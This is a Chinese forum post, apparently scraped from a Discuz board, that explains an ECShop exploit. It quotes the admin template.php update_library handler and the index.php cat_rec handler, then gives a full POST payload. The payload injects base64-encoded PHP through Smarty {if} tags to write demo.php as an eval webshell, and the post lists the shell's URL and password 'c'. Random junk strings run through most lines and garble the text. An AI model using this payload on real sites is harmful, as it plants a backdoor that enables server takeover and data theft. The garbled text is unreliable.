首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
% W( ?0 [& ?( U9 b# t
3 x0 a( }! [: g! b# x- P0 {9 l而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了. L1 Y3 ~! @; V! ^- r3 @
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
9 u P! W2 W) M3 Z, p0 fadmin/template.php
% {5 x2 |1 p* y% a; J3 U1 P6 b/ ? T1 {! D
1 if ($_REQUEST['act'] == 'update_library') ( N! r e/ K/ z1 d9 z
& y) m" M, `) v1 [: e, E! l+ W2
$ ~+ o w1 k4 `) \4 H/ t7 D1 ^4 p% Q1 \! A! r5 }3 g
3 { 6 G& q( H9 z3 K
* z7 S8 X0 O2 e! W. D2 q% |+ b
4 check_authz_json('library_manage');
, g, D) S* f* }5 x8 F3 x% M8 ?9 T) d6 w
5
7 R1 K' I* d$ J& d7 {# V$ u& [* I8 V& K, [* x, X
6 $html = stripslashes(json_str_iconv($_POST['html']));
* p/ U4 v2 r- K& O; m* N8 }# x7 T/ r# {5 m' \: M& Q
7 l7 D* C( [0 c" B( G# c) Z
' ]8 L M3 X' Y, ]/ U& B: y8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
7 {- [1 J6 L7 V) y, A
9 c$ A1 k+ E+ q) h5 L4 z9
. e4 |; U9 N; ~; T7 e, S+ `2 W; S9 w7 w
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
: ]- r* p# d, G/ ~# o5 ?/ i# [
5 R. [$ b! Z( ?$ M11 1 n% C4 f* G( M$ Q9 M* T) l! U1 E
- D; z- J1 x9 @1 t; d$ M* e1 E12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 0 L4 P1 G# H6 N2 H# ?
1 K: v6 {8 Z4 t8 \* `0 J) M& B
13 4 g, Q& _# P; W# g1 m6 {
, p" j0 U+ t# B O; D14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
0 F6 ]$ k; |2 q* L: J2 L( S2 D: D* q& u4 w1 \8 P1 [
15 { 2 ^- O( k9 X, y! P7 ?
' [1 p% n r$ d3 H4 c( C16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
. T" h" C9 Y, N, e9 w- `
, E, m3 n9 X7 |' _/ O17 make_json_result('', $_LANG['update_lib_success']); 9 z2 D5 \* q7 W0 C# \# O
2 ~2 S& `. v. f8 ?18 }
& y! O8 ~. W# v6 I) c! R! S, h
6 i K& {1 n- r! G6 c5 H19 else
) c- G+ C5 ?3 m: C D3 O) d% H6 s* }5 c0 ?, @7 W' i) w
20 {
$ n2 h1 |1 W* v: Z, A* O. X, Y+ \/ h. g H8 @' g- w' I. b
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
4 V$ l' i# r* f# V3 Y+ Y0 I/ c, a# x. b+ M* p9 W9 M6 ]* S
22 }
. ^) n1 L8 L) I
! r# u. ?+ w+ X23 }
6 J( e$ U( r* Q# d0 h9 b n: u, M( U' f' n+ _/ K( g6 I( w8 o
那么找个比较方便调用了模板的文件0 i1 q& s. E" W
index.php
9 B" U$ G) I" w5 l( ~. w, l) _$ r1 \4 q1 g4 W
1 if ($act == 'cat_rec') q5 A+ C! }. i+ T! u
. z5 _8 x/ p4 h( ?, W) V6 Z& E
2
: e6 K+ \& e$ h% U2 q
( R8 F* O7 m# n9 T3 {
6 `1 @" W: [3 k' S; G/ Q7 n4 X; g- p2 d; N7 o
4 $ l# p2 H0 `# L1 a. c( j
; G: H7 V# E* N# e9 r- d
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
0 D G7 ]; i: i* k! U" }) s H8 W$ e
9 Y; m6 d# z, ^' g6
5 |4 A) ]" Q' p
; Y t+ T; M# f6 x, d" F7 H7 q7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 7 _: k, B) v' f; n! C3 g
: w, E* t' i) Y8 - q2 j8 d2 }1 ~1 i- ]; m& `
2 R7 x Z( l0 y+ H% V' `9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; * P1 ^3 e9 R- m
1 t9 U L! ^4 F, }7 S4 t! Y10
2 l- _0 l+ u- U. X& }! r( {2 B9 O1 ~
11 include_once('includes/cls_json.php');
$ X! Z! w3 x4 y! t/ R2 b
3 @* }9 c- u/ F. c12 1 E+ H, a4 n9 J* I
" J; y+ O7 z" L) L13 $json = new JSON;
- L1 W- @% {0 b7 u1 Q( o) q4 k. T" ~2 g& Y0 i9 v
14 2 N$ [9 Z, o7 n% W
7 Z; [8 g3 @( X* s, K" A15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
5 p( l% [/ K6 B x( m' ?& A e z; _* O. R- T9 c
16
- _9 F0 |+ C+ H. `
# y0 n5 B; e V9 T17 $children = get_children($cat_id);
8 i" i1 {7 h5 ?0 b
7 Z3 @- d+ A% d$ U3 Y' I: t! h18
9 Z) D$ j4 h0 j5 ]! u7 } j# Y9 T3 |% \6 ]+ ^/ @! }+ N
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
3 \$ ~& [$ S' a* s; E
- [, c5 U+ Y% z. M20
: U, @6 p! F, o; O1 l# b
0 f4 D% O" [7 N21 $smarty->assign('cat_rec_sign', 1); 1 H: C6 x2 _' w2 q
# r' V& w6 q- Q R1 }
22
! Q' V; T9 Q& B( a6 ]( \" R L
. b5 h. e1 p! l/ O D23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
: o+ t) z4 T# X3 D
9 p% [) E- Z3 G! l! \0 n5 `: u* h. y24
6 u X. g1 h5 b2 f* d, w
4 b2 C* G z8 r5 K) E25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
0 A: O5 B9 q6 `+ T; h4 X+ R. v
3 Y% A( X, Z3 F0 |26
" } ?, v+ g; g; c- H
) f, }" G4 _2 x* Q27 echo $rec_array[$rec_type]; # Z6 ~* f- c7 @0 p- S, u4 r0 N6 @
8 ?7 [. h' Z3 K$ M7 ?' x3 J
28
. D- L4 c9 V. N5 K0 X5 m1 R6 O+ h
" ]2 F8 f- o5 k$ n2 D* C f: U29 die($json->encode($result)); 5 x, l7 g. z5 a2 K' U4 B! Q8 I
4 T/ K! \* R4 c/ ^! M5 `
30
2 L- b6 f% b; e% }7 B; z2 ~% X4 U$ i: p5 P& E. o3 E& e) H
31 } . s& }( P8 Q! Y* R. N$ E
3 ` t4 G& P# _' `那么就有利用方法了. v8 c7 {2 _$ J: ^( a+ _6 M
post包到http://localhost/ec/admin/template.php?act=update_library
8 z/ ^8 R* j2 ]5 q* B$ t4 k8 SPost内容:9 W9 T$ f) _+ V8 i9 {
4 W& u2 m# D( f" H( _1 d& J5 R
& H5 H7 {' }6 v; b. D6 Z* {1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
* G( o% S. W4 U; a9 |' W( `8 O1 D3 G" W4 U8 d: I6 N
然后访问http://localhost/ec/index.php?act=cat_rec& ^, o5 m2 w# B% N0 \0 ]
1 a; R$ w1 u' Z S% V$ Ishel地址:http://localhost/ec/demo.php
! I9 M+ K6 ~ t6 S' [8 P; [密码c* H9 e. [9 @8 O+ j$ p9 ]6 R
: j+ e/ z# O( @3 l2 Q$ n, h |